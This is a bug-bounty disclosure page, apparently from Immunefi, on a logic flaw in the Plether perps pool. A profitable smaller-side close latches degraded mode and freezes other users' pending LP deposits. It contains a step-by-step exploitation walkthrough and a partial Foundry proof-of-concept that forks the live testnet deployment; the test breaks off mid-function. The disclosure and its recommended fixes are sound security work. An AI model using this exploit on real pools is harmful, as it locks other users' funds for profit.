In a pool at admission capacity, one unprivileged smaller-side trader's profitable close latches degradedMode and freezes other users' pending LP deposits long after it has exited
A pool's admission check only counted the larger side's maximum profit, leaving a tiny cushion, so an unprivileged trader holding a smaller-side position could close it profitably after an ordinary price move and push the pool below its liability, latching degraded mode. That flag then blocked every pending LP deposit from being activated or refunded for over 24 hours, and only owner cash injections and extra owner calls released the funds.
Originally disclosed on Immunefi
- Disclosed after under an hour
#98328 [SC-High] in a pool at admission capacity, one unprivileged smaller-side trader's profitable close latches degradedMode and freezes other users' pending LP deposits long after it has exited
Submitted on Nov 7th 2026 at 03:04:27 UTC by @emanueldlvg for Audit Competition | Plether
- Report ID: #98328
- Report Type: Smart Contract
- Report severity: High
- Target: https://github.com/immunefi-team/audit-comp-plether/tree/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src
- Impacts:
- Temporary freezing of funds for at least 24 hours
Description
Affected contracts (in-scope commit a82d4fef; identical runtime code live on Arbitrum Sepolia v2.0.0)
The v2.0.0 runtime bytecode of every contract below matches an a82d4fef build, excluding immutables and metadata (Arbitrum Sepolia block 325,810,548). The live risk, Router and pool configuration equals the release parameters in packages/perps/DEPLOYMENT.md.
The proof of concept is a local fork of this deployment at Arbitrum Sepolia L2 block 325,848,265, with its 102.06M USDG pool and live trader book. Only out-of-scope parts are replaced:
- Pyth price updates come from the suite's
MockPyth, etched at the deployment's Pyth address and seeded with the six live feed prices; - mock-USDG balances are provisioned with
deal; - a one-line
ArbSysstand-in returns the fork's block number, because Foundry has no Arbitrum precompile.
| Contract | Arbitrum Sepolia v2.0.0 address | Role in the issue |
|---|---|---|
CfdEngine |
0xca18a6783d7542f9d2f28f4f259772b74c4d6baa |
Latches degradedMode after a close; only the owner can clear it, and only once E >= L |
CfdEnginePlanner (CfdEnginePlanLib) |
0x802a0755413fb966b397155b5c5cc0198e6bed3f |
Open admission checks only the larger side's liability max(long, short) plus a 25 bps buffer |
HousePool |
0xeb5604c393843b2f3c347ec24fa9ddad6ab2131e |
settleLpEpoch reverts while degraded; afterwards, owner-injected assets keep blocking deposit activation until assigned |
TrancheVault (Senior) |
0x5dc42ba5a1e8dd3e1b6868d10f66a9bf8fb5b83d |
cancelPendingDeposit reverts for every committed Senior request |
TrancheVault (Junior) |
0x4a8b67184a1e3224c11a191cc69f22c50eef734e |
cancelPendingDeposit reverts for every matured Junior request |
OrderRouter |
0x918663d6da8cb33b325a04c4a5e8c51d42f3b444 |
Public commitOrder / executeOrder / settleLpEpoch / executeLiquidation used by the traders and the victims |
PletherOracle |
0x4f2c62a0e03657f52c633c19c11f88d8f0897bb2 |
Six-feed basket; its Pyth dependency is the only replaced price source |
Live configuration read from the deployment:
- risk:
vpiFactor0.01e18,maxSkewRatio0.4e18, maintenance 10 bps, initial 20 bps, frozen-market 300 bps,baseCarryBps500, liquidationbountyBps10 with a 50% keeper share; - execution fee 4 bps,
settlementBufferBps25; - Senior cap 40,000,000 USDG and 80% of the pool;
- Router execution window 60 s, at most 5 pending orders.
Brief/Intro
Open admission sizes pool capacity with only the larger side's aggregate maximum profit, L = max(longMaxProfit, shortMaxProfit), plus a 25 bps settlement buffer. Positions on the smaller side therefore consume no capacity. When the pool is full, the only cushion between pool cash and L is about 0.25% of L.
A profitable close on the smaller side pays cash out of the pool and leaves L untouched. If the net payout exceeds the cushion, CfdEngine._enterDegradedModeIfInsolvent latches degradedMode. Any unprivileged trader can arrange that close deliberately, with a smaller-side position large enough for an ordinary basket move.
Once the flag is set:
HousePool.settleLpEpochreverts for every caller;- new deposit requests and new opens are refused;
TrancheVault.cancelPendingDepositreverts for every committed Senior request and every matured Junior request.
USDG that other users have already moved into vault escrow is neither activated nor refundable. The trigger needs no ongoing position: the larger side, held by ordinary traders, keeps L up. No depositor or keeper action ends the state. The flag does not clear itself even when E >= L returns. In the proof, the deposits are released only after three owner actions:
- the owner injects the shortfall from its own USDG;
- it calls
clearDegradedMode(); - it assigns the injected, otherwise ownerless, pool assets, which keep blocking deposit activation until then.
The proof forks the live v2.0.0 deployment:
- Setup. Ordinary traders fill the 102.05M USDG pool to its admission capacity with a LONG-heavy book:
L = 101.79MUSDG, and only 261,553.15 USDG of headroom. - Attacker position. The attacker holds only a 28.77M USDG SHORT on the smaller side, about 28% of the pool.
- Trigger. After an ordinary +1.50% basket move, it closes that SHORT through the public Router. The pool ends 76,947.84 USDG short of
L, and the flag latches. - Freeze. The attacker now holds nothing, yet a 100,000 USDG Senior deposit and a 200,000 USDG Junior deposit belonging to other users stay frozen for 86,404 seconds. Every exit the depositors can call is retried each hour and reverts, and the hourly
E − Lnever changes. - Attacker result. The attacker ends +331,844.79 USDG: a 431,600.49 USDG price gain minus 99,755.70 USDG of fees and net VPI.
Vulnerability Details
Admission counts only the larger side, so a full pool keeps a 25 bps cushion
Every open must leave the pool with E >= L + B (CfdEnginePlanLib._applyOpenSettlementBufferAfterPlan, lines 698–780, and SolvencyAccountingLib.hasRequiredSettlementBuffer, lines 93–103). Here E is pool cash net of trader claims, L = getMaxLiability(longMaxProfit, shortMaxProfit), and B = ceil(L × 25 / 10,000):
SolvencyAccountingLib.getMaxLiability(snap.longSide.maxProfitAssets, snap.shortSide.maxProfitAssets),
...
satisfied = SolvencyAccountingLib.hasRequiredSettlementBuffer(
result.effectiveAssetsAfterAssets, result.maxLiabilityAfterAssets, snap.settlementBufferBps
);
A LONG's maximum profit is its entry cost, and a SHORT's is lots × (CAP_PRICE − entry) (CfdMath.calculateExactMaxProfit, lines 76–90).
On the fork, ordinary traders' interleaved opens bring the LONG side to L = 101,793,440.405709 USDG and the SHORT side to 93,650,027.341369 USDG. The SHORT side includes the attacker's position, which was opened while it added no L. The pool holds 102,054,993.554737 USDG. The cushion over L is 261,553.149028 USDG, barely above B = 254,483.60 USDG, which is the state the admission gate holds a full pool in.
A profitable smaller-side close latches the Engine's raw-solvency flag
CfdEngine._applyClose calls _enterDegradedModeIfInsolvent after every close (line 1320). It latches the flag as soon as available cash falls below _maxLiability() (lines 1351–1369):
uint256 effectiveAssetsAfter = _availableCashForFreshPoolPayouts();
...
uint256 maxLiabilityAssets = _maxLiability();
if (effectiveAssetsAfter < maxLiabilityAssets) {
degradedMode = true;
emit DegradedModeEntered(effectiveAssetsAfter, maxLiabilityAssets, account);
}
Closing a SHORT never lowers the LONG side's maximum profit, so L stays 101,793,440.405709 USDG. On the fork, the +1.50% move gives the attacker's SHORT a 431,600.49 USDG price gain. The close nets 338,500.99 USDG of cash out of the pool after its VPI and execution fee, exceeding the 261,553.15 USDG cushion. Pool assets end at 101,716,492.565752 USDG, E is 76,947.84 USDG below L, and the binary latch is set.
Degraded mode blocks every activation and refund path for pending deposits
- Activation.
HousePool.settleLpEpoch→_settleLpEpoch→_requireWithdrawalsLivereverts withHousePool__DegradedMode(HousePool.sol lines 797–831 and 1864–1869). No deposit epoch is activated and no claimable shares are created. The Router path,OrderRouter.settleLpEpoch, is permissionless and reverts the same way. - Refund.
TrancheVault.cancelPendingDepositrefunds only a Junior request that has not matured, a rejected epoch, a Senior request during an explicit settlement hold, a projected terminal wipe or Senior impairment (TrancheVault.sol lines 851–860):
if (
(IS_SENIOR || currentLpEpoch() >= requestId) && !queueState.rejected
&& (!IS_SENIOR || !POOL.lpEpochSettlementPaused()) && !_projectedTerminalWipe()
&& !POOL.isSeniorImpairedAfterPendingDepositReconcile()
) {
if (IS_SENIOR) {
revert TrancheVault__SeniorDepositCommitted();
}
revert TrancheVault__DepositEpochAlreadyActive();
}
Degraded mode is not one of those conditions. So a committed Senior request is frozen however recently it was made, and a matured Junior request is frozen too.
- No self-cure. While degraded,
_entryStatusBlockedreturns true (HousePool.sol lines 1141–1148), so new deposit requests are refused. Fresh LP capital, which would restoreE >= L, cannot enter.
The freeze outlives the trigger, and only owner actions end it
- The trigger is finished. After its close the attacker holds no position. Ordinary traders on the LONG side keep
Lat 101,793,440.405709 USDG. - Nothing heals the gap. Carry on their positions is not realized into pool cash while they are untouched. On the fork,
E − Lstays at −76,947.84 USDG at every hourly check for 24 hours. - Clearing needs the owner.
clearDegradedMode()isonlyOwnerand revertsCfdEngine__StillInsolventwhileE < L(CfdEngine.sol lines 658–667). Raw solvency returns only through larger-side traders closing at a loss, other pool income, or an ownerrecapitalizePoolfrom the owner's own USDG. - Clearing is not enough. An owner recapitalization is routed to Senior restoration or to
unassignedAssets(ACCOUNTING_SPEC.md lines 639–642). Unassigned assets block deposit activation (HousePoolTrancheGateLib.trancheDepositsAllowed, lines 19–41). - What the proof shows. After the owner injects 76,948.84 USDG and clears the flag,
settleLpEpochstill reverts withHousePool__NoLpEpochProgress. Only after a third owner call,assignUnassignedAssets, does a settlement activate the deposits.
The program states that no detection or response deadline is assumed, and that the existence of administrative controls alone does not justify a downgrade.
Relation to documentation and published findings
SECURITY.md describes degraded mode as containment for a close or liquidation that leaves E < L, and the emergency guide says it blocks LP epoch settlement. Neither text, nor any known-issue section or published audit item, covers three points:
- a single smaller-side trader in a full pool can trigger the latch on purpose, because smaller-side exposure consumes no capacity while its realized gain is paid in cash;
- pending deposits have no exit while degraded: the Known Limitations list escrow recovery only for an explicit settlement hold, projected terminal wipe, Senior impairment or epoch rejection;
- the release requires the owner to inject cash, clear the flag and assign the injected assets, because the cure that new deposits would provide is blocked.
Cecuro LOW-73 (no new stop-loss protection in degraded mode) is about trader protection, not LP escrow.
Exploitation
The proof of concept forks the live Arbitrum Sepolia v2.0.0 deployment. Every order goes through the public V3 commitOrder / executeOrder path, and LP settlement through the public OrderRouter.settleLpEpoch. No in-scope contract and no configuration is modified. Prices come from the six live feed prices, served by the suite's MockPyth at the deployment's Pyth address.
-
At fork block 325,848,265 the pool holds 102,058,191.066798 USDG, and the live book carries 15,974,921.589514 USDG LONG and 213,721.762594 USDG SHORT maximum profit, at a basket mark of 0.97024565. The order queue is empty and the Engine is not degraded.
-
Ordinary demand fills the pool. The attacker's 28,773,216.898140 USDG SHORT, with 4% margin from 3,000,000 USDG of collateral, is opened first. Ordinary traders then add 85,818,518.816195 USDG LONG and 59,263,477.523085 USDG SHORT notional in interleaved chunks, each within
maxSkewRatio. AfterwardsL = 101,793,440.405709 USDG, the SHORT side carries 93,650,027.341369 USDG, pool assets are 102,054,993.554737 USDG, and the cushionE − Lis 261,553.149028 USDG. -
Other users request ordinary LP deposits: 100,000 USDG into the Senior vault and 200,000 USDG into the Junior vault. The next LP epoch starts, so the Junior request is mature.
-
The basket moves +1.50%. The attacker commits and executes the close of its whole SHORT. Pool assets fall to 101,716,492.565752 USDG,
Lstays 101,793,440.405709 USDG, anddegradedModeis latched. The attacker holds no position. -
Every hour for 86,404 seconds:
- each depositor's
cancelPendingDepositreverts withTrancheVault__SeniorDepositCommittedorTrancheVault__DepositEpochAlreadyActive; - a depositor's
OrderRouter.settleLpEpochreverts withHousePool__DegradedMode; - the owner's
clearDegradedModereverts withCfdEngine__StillInsolvent.
Both escrows keep exactly the deposited amounts, nothing becomes claimable, and
E − Lis −76,947.84 USDG at every check. - each depositor's
-
The attacker's clearinghouse balance ends 331,844.785908 USDG above its collateral: the 431,600.485056 USDG price gain on its SHORT minus 99,755.699148 USDG of execution fees and net VPI.
-
The owner injects 76,948.84 USDG from its own wallet with
recapitalizePooland callsclearDegradedMode(). A settlement still reverts withHousePool__NoLpEpochProgress. After the owner'sassignUnassignedAssets, one settlement activates both deposits. -
Control: from the same full book and deposits at the same +1.50% price, without the attacker's close, a single settlement activates both deposits.
-
Worst case for the attacker, when ordinary demand has not filled the pool, which is the live testnet's state: the same file shows that the attacker can fill the capacity itself with a hedged LONG/SHORT pair and close the winning leg. That run latches with a 108,733.33 USDG shortfall and costs the attacker 584,819.11 USDG.
Impact Details
Funds owned by other users are frozen: USDG that depositors have transferred into Senior and Junior vault escrow. This USDG is not exposed to trading risk and is not part of pool liquidity. The depositors cannot cancel and nothing can be activated. The freeze continues after the attacker has exited. The proof holds it for 86,404 seconds with the attacker holding nothing, and it ends only through owner actions that include paying the shortfall from the owner's own funds. This is temporary freezing of funds for at least 24 hours (High).
Every deposit pending at the moment of the latch is affected:
- a committed Senior request is caught whenever it was made;
- a Junior request is caught once its one-hour epoch has matured, so the attacker lands its close just after an epoch boundary, before the next settlement.
The same latch also stops all LP redemption funding and all risk-increasing opens for every trader.
Attacker requirements.
- Privilege: none. The attacker needs only a smaller-side position in a pool that ordinary demand has filled to admission capacity, the state the admission gate holds a busy pool in. The required size is roughly the cushion plus close charges, divided by the basket move. The proof uses 28% of the pool and a routine +1.50% move.
- Profit: the attacker ends +331,844.79 USDG. The program's griefing downgrade applies only where the attacker gains no profit.
- If the price exposure is hedged off-chain: the on-chain cost is the 99,755.70 USDG of fees and net VPI. That is about 0.35% of the position, and the owner must additionally pay the 76,947.84 USDG shortfall to release the pool.
- If the pool is not full: the worst-case run shows the attacker can fill it itself for 584,819.11 USDG.
If the triager weighs the hedged on-chain cost against the 300,000 USDG frozen in the proof, the fallback classification is Medium: griefing, and temporary freezing of funds for at least one hour.
Recommendation
Give pending deposits an exit, and stop a single smaller-side close from tripping a full pool.
- Treat degraded mode as an escrow-recovery condition. In
TrancheVault.cancelPendingDeposit, allow cancellation of a committed Senior request and a matured Junior request whileENGINE.degradedMode()is true, as the explicit settlement hold already does for Senior. This removes the freeze without changing the solvency logic. - Size admission for realizable smaller-side gains, not only the larger side's maximum profit. The buffer that closes may consume should cover the cash that winning smaller-side closes can pay out before the larger side's liability falls. For example, scale
Bwith the smaller side's open interest, or count the larger side's mark-to-market loss as a pool receivable in the raw-solvency check before latching. - Let deposits that would restore
E >= Lactivate, and give owner recapitalization a claimant path that does not leaveunassignedAssetsblocking activation. - Add a regression test that fills the pool to capacity, closes a winning smaller-side position after a move just above the buffer, and asserts that pending deposits remain refundable.
Proof of Concept
Save the test below as packages/perps/test/perps/poc/DegradedLatchDepositFreezeFork.t.sol and run it from the repository root. FORK_BLOCK pins the run's block and needs an archive-capable RPC; without it the test forks the latest block, which any public Arbitrum Sepolia RPC serves.
ARBITRUM_SEPOLIA_RPC_URL='<Arbitrum Sepolia RPC URL>' FORK_BLOCK=325848265 \
forge test --root packages/perps --match-contract DegradedLatchDepositFreezeForkPoC -vv
The file contains three tests:
- the main last-actor scenario;
- its control;
- the worst case where the attacker fills the capacity itself.
It forks the live v2.0.0 contracts and changes no in-scope code or configuration. Before the first order it reads each basket feed's price from the deployment's Pyth contract. It then etches the suite's MockPyth at that address, so the run can deliver signed-update stand-ins at those live prices and at the basket moves. That is a Pyth price-update mock, which the program allows. Mock-USDG balances are provisioned with deal. Foundry has no Arbitrum precompiles, so a stand-in at the ArbSys address returns the fork's block number to ExecutionBlockNumberLib. The ordinary traders are two aggregate accounts representing the existing market demand that fills the pool.
Complete test:
<details> <summary>Complete test </summary>// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {CfdEngine} from "@plether/perps/CfdEngine.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {HousePool} from "@plether/perps/HousePool.sol";
import {MarginClearinghouse} from "@plether/perps/MarginClearinghouse.sol";
import {OrderRouter} from "@plether/perps/OrderRouter.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {PletherOracle} from "@plether/perps/PletherOracle.sol";
import {TrancheVault} from "@plether/perps/TrancheVault.sol";
import {MockPyth} from "@plether/test-utils/MockPyth.sol";
import {Test} from "forge-std/Test.sol";
/// @notice Read-only view of the live Pyth contract, used once to seed the mock with the deployment's own prices.
interface ILivePyth {
struct Price {
int64 price;
uint64 conf;
int32 expo;
uint256 publishTime;
}
function getPriceUnsafe(
bytes32 id
) external view returns (Price memory);
}
/// @notice Foundry has no Arbitrum precompiles. The in-scope `ExecutionBlockNumberLib` reads the L2 block number from
/// ArbSys on chain 421614; this stand-in returns the local fork's block number.
contract ArbSysBlockNumberStandIn {
function arbBlockNumber() external view returns (uint256) {
return block.number;
}
}
/// @notice Fork of the live Arbitrum Sepolia v2.0.0 deployment (in-scope code, release parameters, 102.1M USDG pool and
/// its existing book). Only Pyth price updates (the suite's MockPyth, seeded with the live feed prices) and
/// mock-USDG balances are mocked.
///
/// Main scenario: ordinary traders have filled the pool to its admission capacity with a LONG-heavy book. An
/// unprivileged trader holds only a SHORT on the smaller side, which does not consume capacity. After an
/// ordinary +1.5% basket move it closes that winning SHORT. The close pays cash while the LONG side keeps the
/// pool's maximum liability, so raw `E < L` and the Engine latches `degradedMode`. The attacker then holds
/// nothing, yet other users' pending LP deposits are neither activated nor refundable for more than 24 hours,
/// and only an owner cash injection of the shortfall plus `clearDegradedMode()` releases them.
contract DegradedLatchDepositFreezeForkPoC is Test {
// Arbitrum Sepolia v2.0.0 (deployments/releases/2026-10-28-perps-arbitrum-sepolia-v2.0.0/addresses.env).
CfdEngine internal constant ENGINE = CfdEngine(address(bytes20(hex"ca18a6783d7542f9d2f28f4f259772b74c4d6baa")));
OrderRouter internal constant ROUTER =
OrderRouter(payable(address(bytes20(hex"918663d6da8cb33b325a04c4a5e8c51d42f3b444"))));
HousePool internal constant POOL = HousePool(address(bytes20(hex"eb5604c393843b2f3c347ec24fa9ddad6ab2131e")));
TrancheVault internal constant SENIOR_VAULT =
TrancheVault(address(bytes20(hex"5dc42ba5a1e8dd3e1b6868d10f66a9bf8fb5b83d")));
TrancheVault internal constant JUNIOR_VAULT =
TrancheVault(address(bytes20(hex"4a8b67184a1e3224c11a191cc69f22c50eef734e")));
MarginClearinghouse internal constant CLEARINGHOUSE =
MarginClearinghouse(address(bytes20(hex"b5b851f627d6df3cf3f096e23e20a58884d7b89a")));
PletherOracle internal constant ORACLE =
PletherOracle(payable(address(bytes20(hex"4f2c62a0e03657f52c633c19c11f88d8f0897bb2"))));
IERC20 internal constant USDG = IERC20(address(bytes20(hex"3d051dbbf5ff427a4ae8ad09746902666af8fb9d")));
address internal constant OWNER = address(bytes20(hex"5a71a4094ec81165ada48aa4c27da48ec27e0d6b"));
address internal constant ORGANIC_LONG = address(0x0711); // ordinary LONG traders (aggregate)
address internal constant ORGANIC_SHORT = address(0x0712); // ordinary SHORT traders (aggregate)
address internal constant ATTACKER = address(0xBADBAD); // holds only a smaller-side SHORT
address internal constant HEDGE_LONG = address(0xA770C1); // worst case: the attacker fills capacity itself
address internal constant HEDGE_SHORT = address(0xA770C2);
address internal constant SENIOR_DEPOSITOR = address(0x5E1105);
address internal constant JUNIOR_DEPOSITOR = address(0x1D1105);
address internal constant KEEPER = address(0xE0EC);
uint256 internal constant LAST_ACTOR_MOVE_BPS = 150; // an ordinary +1.50% basket move
uint256 internal constant WORST_CASE_MOVE_BPS = 100; // +1.00%
uint256 internal constant ATTACKER_SHARE_BPS = 3000; // attacker SHORT = 30% of capacity, in max-profit terms
uint256 internal constant SHORT_SIDE_SHARE_BPS = 9200; // whole SHORT side = 92% of capacity (LONG side = 100%)
uint256 internal constant MAX_CHUNK_PROFIT = 15_000_000e6; // keeps every interleaved open inside maxSkewRatio
uint256 internal constant MARGIN_BPS = 400; // 4% of each chunk's notional
uint256 internal constant SENIOR_DEPOSIT = 100_000e6;
uint256 internal constant JUNIOR_DEPOSIT = 200_000e6;
bytes32[] internal feedIds;
bool[] internal inverted;
int64[] internal livePrices; // expo -8
uint256 internal orderNonce;
uint256 internal seniorEscrowBase;
uint256 internal juniorEscrowBase;
function setUp() public {
// Public Arbitrum Sepolia RPCs serve only recent state: fork the latest block unless FORK_BLOCK is set
// (an archive RPC can pin any block at or after the v2.0.0 deployment).
string memory url = vm.envString("ARBITRUM_SEPOLIA_RPC_URL");
uint256 forkBlock = vm.envOr("FORK_BLOCK", uint256(0));
if (forkBlock == 0) {
vm.createSelectFork(url);
} else {
vm.createSelectFork(url, forkBlock);
}
assertEq(block.chainid, 421_614, "not Arbitrum Sepolia");
emit log_named_uint("fork timestamp", vm.getBlockTimestamp());
assertEq(ROUTER.nextExecuteId(), 0, "live order queue not empty at the fork block");
assertFalse(ENGINE.degradedMode(), "already degraded");
// Seed the mock with the deployment's current feed prices, then replace Pyth (price updates only).
address pyth = address(ORACLE.pyth());
for (uint256 i; i < 6; ++i) {
bytes32 id = ORACLE.pythFeedIds(i);
ILivePyth.Price memory p = ILivePyth(pyth).getPriceUnsafe(id);
feedIds.push(id);
inverted.push(ORACLE.inversions(i));
livePrices.push(_toExpoMinus8(p.price, p.expo));
}
vm.etch(pyth, address(new MockPyth()).code);
for (uint256 slot; slot < 16; ++slot) {
vm.store(pyth, bytes32(slot), bytes32(0));
}
MockPyth(pyth).setSynchronizeLegacyUniquePrices(true);
vm.etch(address(100), address(new ArbSysBlockNumberStandIn()).code);
_refreshMark(0);
}
// ---------------------------------------------------------------------------------------------------------------
// Main scenario: the attacker is only a smaller-side trader in a pool that ordinary demand has filled.
// ---------------------------------------------------------------------------------------------------------------
function test_Fork_LastActor_SmallerSideCloseFreezesPendingLpDepositsForOver24Hours() external {
_logLiveState();
uint256 attackerFunding = _buildFullBookWithAttackerShort();
uint256 attackerLots = _lots(ATTACKER);
uint256 openMark = ENGINE.lastMarkPrice();
(uint256 seniorRequest, uint256 juniorRequest) = _requestVictimDeposits();
_warpToMaturity(juniorRequest);
// +1.5% basket move: the attacker closes its winning smaller-side SHORT through the public Router.
_refreshMark(LAST_ACTOR_MOVE_BPS);
_closeAll(ATTACKER, CfdTypes.Side.SHORT, LAST_ACTOR_MOVE_BPS);
uint256 closeMark = ENGINE.lastMarkPrice();
assertTrue(ENGINE.degradedMode(), "smaller-side close did not latch degraded mode");
(uint256 shortfall, uint256 liability) = _logLatch();
assertEq(_lots(ATTACKER), 0, "attacker still holds a position");
// The attacker holds nothing. Every hour for 24 hours, the victims retry every permissionless exit.
uint256 frozenStart = vm.getBlockTimestamp();
_holdAndAssertFrozen(seniorRequest, juniorRequest, LAST_ACTOR_MOVE_BPS, 24 hours + 1);
emit log_named_uint("deposit freeze duration (seconds)", vm.getBlockTimestamp() - frozenStart);
(uint256 liabilityAfter,,,) = ENGINE.sides(uint256(CfdTypes.Side.LONG));
assertEq(liabilityAfter, liability, "the ordinary LONG book changed");
// The attacker's result: price gain on its SHORT, minus fees and VPI paid on the way in and out.
int256 attackerNet = int256(CLEARINGHOUSE.balanceAssets(ATTACKER)) - int256(attackerFunding);
int256 priceGain = int256(attackerLots) * (int256(closeMark) - int256(openMark));
emit log_named_decimal_int("attacker net on-chain result (USDG; + = gain)", attackerNet, 6);
emit log_named_decimal_int(" of which the SHORT's price gain (USDG)", priceGain, 6);
emit log_named_decimal_int(" of which fees and net VPI paid (USDG)", attackerNet - priceGain, 6);
// Only three owner actions release the deposits: inject the shortfall from the owner's own USDG, clear the
// latch, and assign the injected (ownerless) assets, which otherwise keep blocking deposit activation.
uint256 injection = shortfall + 1e6;
_deal(OWNER, injection);
vm.startPrank(OWNER);
USDG.approve(address(ENGINE), injection);
ENGINE.recapitalizePool(injection);
ENGINE.clearDegradedMode();
vm.stopPrank();
_nextBlock();
bytes[] memory tick = _ticks(LAST_ACTOR_MOVE_BPS, vm.getBlockTimestamp(), ENGINE.lastMarkTime());
vm.prank(KEEPER);
vm.expectRevert(bytes4(keccak256("HousePool__NoLpEpochProgress()")));
ROUTER.settleLpEpoch(tick);
_refreshMark(LAST_ACTOR_MOVE_BPS);
vm.prank(OWNER);
POOL.assignUnassignedAssets(false, OWNER);
_settleViaRouter(LAST_ACTOR_MOVE_BPS);
assertEq(SENIOR_VAULT.claimableDepositRequest(seniorRequest, SENIOR_DEPOSITOR), SENIOR_DEPOSIT, "senior");
assertEq(JUNIOR_VAULT.claimableDepositRequest(juniorRequest, JUNIOR_DEPOSITOR), JUNIOR_DEPOSIT, "junior");
emit log_named_decimal_uint("owner cash injection needed to release the deposits (USDG)", injection, 6);
emit log_named_decimal_uint("other users' USDG frozen for the period (USDG)", SENIOR_DEPOSIT + JUNIOR_DEPOSIT, 6);
}
/// @notice Control: the same full book, deposits and +1.5% move without the attacker's close. One settlement
/// activates both deposits.
function test_Fork_LastActor_Control_WithoutTheCloseDepositsActivate() external {
_buildFullBookWithAttackerShort();
(uint256 seniorRequest, uint256 junior
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the admission gate sizes capacity using only the larger side's maximum profit plus a 25 bps buffer, so a smaller-side position consumes no capacity while its realised profit is paid in cash, letting a single close push available cash below maximum liability and latch degraded mode.
Impact
Other users' pending Senior and Junior deposits were frozen for at least 24 hours, neither activated nor refundable, and the freeze outlived the attacker's exit, ending only after owner cash injection and further owner calls.
What the attacker needed
No privileges needed; pool filled to admission capacity; attacker holds a smaller-side position; ordinary basket price move
The fix
Pending deposits should be cancellable while degraded mode is set, and admission should size the buffer for realisable smaller-side gains rather than only the larger side's maximum profit.
How it was found
- Ordinary traders fill the pool to admission capacity with a LONG-heavy book, leaving only a small cushion over the larger side's maximum profit.
- The attacker opens a large SHORT on the smaller side, which adds no capacity usage.
- Other users submit Senior and Junior LP deposit requests, and the Junior request matures.
- The basket moves up by about 1.50% and the attacker closes the whole SHORT through the public router.
- Pool cash falls below the larger side's maximum profit and degraded mode latches while the attacker holds nothing.
- For over 24 hours every depositor cancellation and settlement reverts, and only owner recapitalisation, clearing the flag and assigning assets release the deposits.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A trading pool must always keep enough cash to pay out the worst-case winnings of its traders. The check that decides whether a new trade fits only looked at the bigger side of the book, so a trader on the smaller side could take a large position without using up any of that safety room. When that trader later closed at a profit, the pool's cash dropped below what it owed the bigger side, a safety switch called degraded mode turned on, and other people's deposits already sent in were stuck: they could not be activated or refunded until the owner put in extra money and made several manual…
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.